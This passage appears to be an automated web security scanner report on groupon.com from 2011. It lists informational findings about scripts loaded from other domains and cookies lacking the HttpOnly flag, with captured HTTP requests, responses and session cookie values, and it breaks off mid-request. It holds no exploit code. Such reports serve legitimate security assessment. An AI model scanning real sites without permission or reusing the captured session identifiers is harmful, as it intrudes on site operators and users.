When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://www.groupon.com/contact-us  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /contact-us

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /contact-us HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.18.2.1299001244132; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:42 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:42 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:42 GMT; HttpOnly
Status: 200
ETag: "f4bef76d1e8d99bfb5a5cc7d791ac08d"
X-Runtime: 105
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.js" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/application.js?TejW351l" type="text/javascript"></script>
...[SNIP]...
<![endif]-->

<script src="http://assets1.grouponcdn.com/assets/facebook.js?rpq--NbY" type="text/javascript"></script>
...[SNIP]...

5.2. http://www.groupon.com/san-jose/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /san-jose/

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /san-jose/ HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.9.2.1298999613665; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:28 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:27 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:28 GMT; HttpOnly
Status: 200
ETag: "e2d7edd61244c8eac92a3b10778e00fc"
X-Runtime: 737
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.js" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/application.js?TejW351l" type="text/javascript"></script>
...[SNIP]...
<![endif]-->
<script src="http://assets1.grouponcdn.com/javascripts/common/tooltip.js?YQelxRZ9" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/deal_page.js?bjmlvcjw" type="text/javascript"></script>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/facebook.js?rpq--NbY" type="text/javascript"></script>
...[SNIP]...
</script>

<script src="http://assets1.grouponcdn.com/javascripts/common/demographic_form_banner.js?oflEbeJc" type="text/javascript"></script>
...[SNIP]...

5.3. http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /san-jose/deals/pure-barre-los-gatos-1

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /san-jose/deals/pure-barre-los-gatos-1?utm_medium=email&utm_source=newsletter&c=title&addx=test@fastdial.net&utm_content=san-jose_feed&user=test@fastdial.net&d=deal&divison=san-jose&s=more_deals_for_you&p=0&date=20110301 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; subscriber_email=test%40fastdial.net; division=san-jose; email=test%40fastdial.net; visited=true; __utmz=44473723.1297805174.1.4.utmcsr=newsletter|utmccn=laser-and-cosmetic-center|utmcmd=email; __utma=44473723.1103413385.1297805149.1297805149.1297805149.1; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:13:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: subscriber_email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:00 GMT
Set-Cookie: utm_term=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpmed=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_campaign=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: b=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: external_uid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpref=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpoid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpref2=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpuid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_source=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_content=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_medium=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpcid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpaid=newsletter; domain=.groupon.com; path=/; expires=Tue, 08-Mar-2011 17:13:00 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: _tpmed=email; domain=.groupon.com; path=/; expires=Tue, 08-Mar-2011 17:13:00 GMT
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:13:00 GMT
Set-Cookie: s=29108ae4-4427-11e0-ae71-005056952866; path=/
Set-Cookie: email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:00 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: email=test%40fastdial.net; path=/; expires=Fri, 01-Apr-2011 17:13:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:13:00 GMT; HttpOnly
Status: 200
ETag: "2c59701df41e4f9c877f397fdffda210"
X-S-COOKIE: 29108ae4-4427-11e0-ae71-005056952866
X-Runtime: 161
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...
</div>
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js" type="text/javascript"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.6/jquery-ui.min.js" type="text/javascript"></script>
<script src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.js" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/application.js?TejW351l" type="text/javascript"></script>
...[SNIP]...
<![endif]-->
<script src="http://assets1.grouponcdn.com/javascripts/common/tooltip.js?YQelxRZ9" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/deal_page.js?bjmlvcjw" type="text/javascript"></script>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/assets/facebook.js?rpq--NbY" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://assets1.grouponcdn.com/javascripts/app/deals/show.js?hPqXFwmo" type="text/javascript"></script>
<script src="http://assets1.grouponcdn.com/javascripts/common/demographic_form_banner.js?oflEbeJc" type="text/javascript"></script>
...[SNIP]...

6. Cookie without HttpOnly flag set  previous  next
There are 7 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



6.1. http://www.groupon.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.9.2.1298999613665; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; adchemy_id=; division=san-jose; email=test%40fastdial.net; _thepoint=c34d720c801b2b00e49f006c1240e874

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:27 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:27 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:27 GMT; HttpOnly
Status: 302
Location: http://www.groupon.com/san-jose/
X-Runtime: 14
Cache-Control: no-cache
Content-Length: 98
Connection: keep-alive

<html><body>You are being <a href="http://www.groupon.com/san-jose/">redirected</a>.</body></html>

6.2. http://www.groupon.com/contact-us  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /contact-us

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /contact-us HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.18.2.1299001244132; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:42 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:42 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:42 GMT; HttpOnly
Status: 200
ETag: "f4bef76d1e8d99bfb5a5cc7d791ac08d"
X-Runtime: 105
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...

6.3. http://www.groupon.com/san-jose/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /san-jose/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /san-jose/ HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.9.2.1298999613665; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:40:28 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:40:27 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:40:28 GMT; HttpOnly
Status: 200
ETag: "e2d7edd61244c8eac92a3b10778e00fc"
X-Runtime: 737
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...

6.4. http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /san-jose/deals/pure-barre-los-gatos-1

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /san-jose/deals/pure-barre-los-gatos-1?utm_medium=email&utm_source=newsletter&c=title&addx=test@fastdial.net&utm_content=san-jose_feed&user=test@fastdial.net&d=deal&divison=san-jose&s=more_deals_for_you&p=0&date=20110301 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; subscriber_email=test%40fastdial.net; division=san-jose; email=test%40fastdial.net; visited=true; __utmz=44473723.1297805174.1.4.utmcsr=newsletter|utmccn=laser-and-cosmetic-center|utmcmd=email; __utma=44473723.1103413385.1297805149.1297805149.1297805149.1; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:13:00 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: subscriber_email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:00 GMT
Set-Cookie: utm_term=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpmed=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_campaign=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: b=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: external_uid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpref=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpoid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpref2=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpuid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_source=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_content=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: utm_medium=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpcid=; domain=.groupon.com; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _tpaid=newsletter; domain=.groupon.com; path=/; expires=Tue, 08-Mar-2011 17:13:00 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: _tpmed=email; domain=.groupon.com; path=/; expires=Tue, 08-Mar-2011 17:13:00 GMT
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:13:00 GMT
Set-Cookie: s=29108ae4-4427-11e0-ae71-005056952866; path=/
Set-Cookie: email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:00 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: email=test%40fastdial.net; path=/; expires=Fri, 01-Apr-2011 17:13:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:13:00 GMT; HttpOnly
Status: 200
ETag: "2c59701df41e4f9c877f397fdffda210"
X-S-COOKIE: 29108ae4-4427-11e0-ae71-005056952866
X-Runtime: 161
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<!DOCTYPE html>
<!--[if lt IE 7 ]> <html class="ie6" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns="http://www.w3.org/1999/xhtml"> <![endif]-->
<!--[if IE 7 ]> <html class="ie7" lang
...[SNIP]...

6.5. http://www.groupon.com/user_demographics/demographic_form_banner.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /user_demographics/demographic_form_banner.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /user_demographics/demographic_form_banner.html?addx=test@fastdial.net&_=1298999611622 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Referer: http://www.groupon.com/san-jose/deals/pure-barre-los-gatos-1?utm_medium=email&utm_source=newsletter&c=title&addx=test@fastdial.net&utm_content=san-jose_feed&user=test@fastdial.net&d=deal&divison=san-jose&s=more_deals_for_you&p=0&date=20110301
x-requested-with: XMLHttpRequest
content-type: application/x-www-form-urlencoded
accept: text/javascript, text/html, application/xml, text/xml, */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _chartbeat2=sq6k5rzuuoqiwvy6; subscriber_email=test%40fastdial.net; _tpaid=newsletter; adchemy_id=; _tpmed=email; division=san-jose; s=29108ae4-4427-11e0-ae71-005056952866; email=test%40fastdial.net; _thepoint=c34d720c801b2b00e49f006c1240e874; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.1.10.1298999612

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:13:24 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: subscriber_email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:24 GMT
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:13:24 GMT
Set-Cookie: email=test%40fastdial.net; path=/; expires=Mon, 01-Mar-2021 17:13:24 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:13:24 GMT; HttpOnly
Status: 200
ETag: "7a503aa81cd310231b4f95be703b97d3"
X-Runtime: 38
Cache-Control: private, max-age=0, must-revalidate
Connection: close

<div class='clearfix' id='above_main'>
<div class='demographic_banner clearfix' id='demographic_collection_form'>
<form action="/user_demographics/update_with_optional_subscription" class="new_u
...[SNIP]...

6.6. http://www.groupon.com/user_demographics/dismiss  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /user_demographics/dismiss

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /user_demographics/dismiss?id=31260610 HTTP/1.1
Host: www.groupon.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: b=2148c93a-394a-11e0-aca6-005056951763; visited=true; _tpaid=newsletter; _tpmed=email; s=29108ae4-4427-11e0-ae71-005056952866; __utmz=44473723.1298999612.2.5.utmcsr=newsletter|utmccn=(not%20set)|utmcmd=email|utmcct=san-jose_feed; subscriber_email=test%40fastdial.net; email=test%40fastdial.net; adchemy_id=; division=san-jose; _thepoint=c34d720c801b2b00e49f006c1240e874; __utma=44473723.1103413385.1297805149.1297805149.1298999612.2; __utmc=44473723; __utmv=44473723.|2=Exp-default=1250235324%2F2=1,; __utmb=44473723.19.2.1299001244132; _chartbeat2=sq6k5rzuuoqiwvy6

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 01 Mar 2011 17:48:47 GMT
Content-Type: text/html; charset=utf-8
Set-Cookie: adchemy_id=; path=/
Set-Cookie: division=san-jose; path=/; expires=Fri, 01-Apr-2011 17:48:47 GMT
Set-Cookie: mobile=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT
Set-Cookie: _thepoint=c34d720c801b2b00e49f006c1240e874; domain=.groupon.com; path=/; expires=Wed, 02 Mar 2011 17:48:47 GMT; HttpOnly
Status: 200
X-Runtime: 40
Cache-Control: private, max-age=0, must-revalidate
Content-Length: 1
Connection: keep-alive


6.7. http://www.groupon.com/user_demographics/update_with_optional_subscription  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.groupon.com
Path:   /user_demographics/update_with_optional_subscription

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /user_demographics/update_with_optional_subscription HTTP/1.1
Host: www.groupon.com
